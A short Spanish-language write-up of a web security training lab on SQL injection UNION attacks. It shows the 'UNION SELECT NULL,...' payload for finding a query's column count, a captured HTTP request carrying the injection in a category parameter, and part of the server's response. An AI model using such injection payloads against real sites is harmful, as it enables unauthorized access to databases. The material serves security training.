

5 Lab SQL injection UNION attack, determining the number of columns returned by the query

Para determinar el número de columnas vamos a utilizar la siguiente sentencia:

```
""UNION+SELECT+NULL,+NULL...
```

Para saberlo debemos ir añadiendo NULLs hasta que se nos retorne una columna nueva (en este caso vacía), si introducimos un NULL más se nos retornará un Internal Server Error.

Request

Pretty Raw Hex

```
1 GET /filter?category=Gifts' UNION+SELECT+NULL,+NULL,+NULLS- -
  HTTP/2
2 Host:
  0a6c00de036966118294b08d003000fd.web-security-academy.net
3 Cookie: session=KjGAcOdT1X0kj0XX80o79AsS1MxUBdoQ
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
  Gecko/20100101 Firefox/128.0
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer:
```

0 highlights

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 4962
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
      /resources/labheader/css/academyLabHeader.css rel=
      stylesheet>
10    <link href=/resources/css/labsEcommerce.css rel=
      stylesheet>
11    <title>
```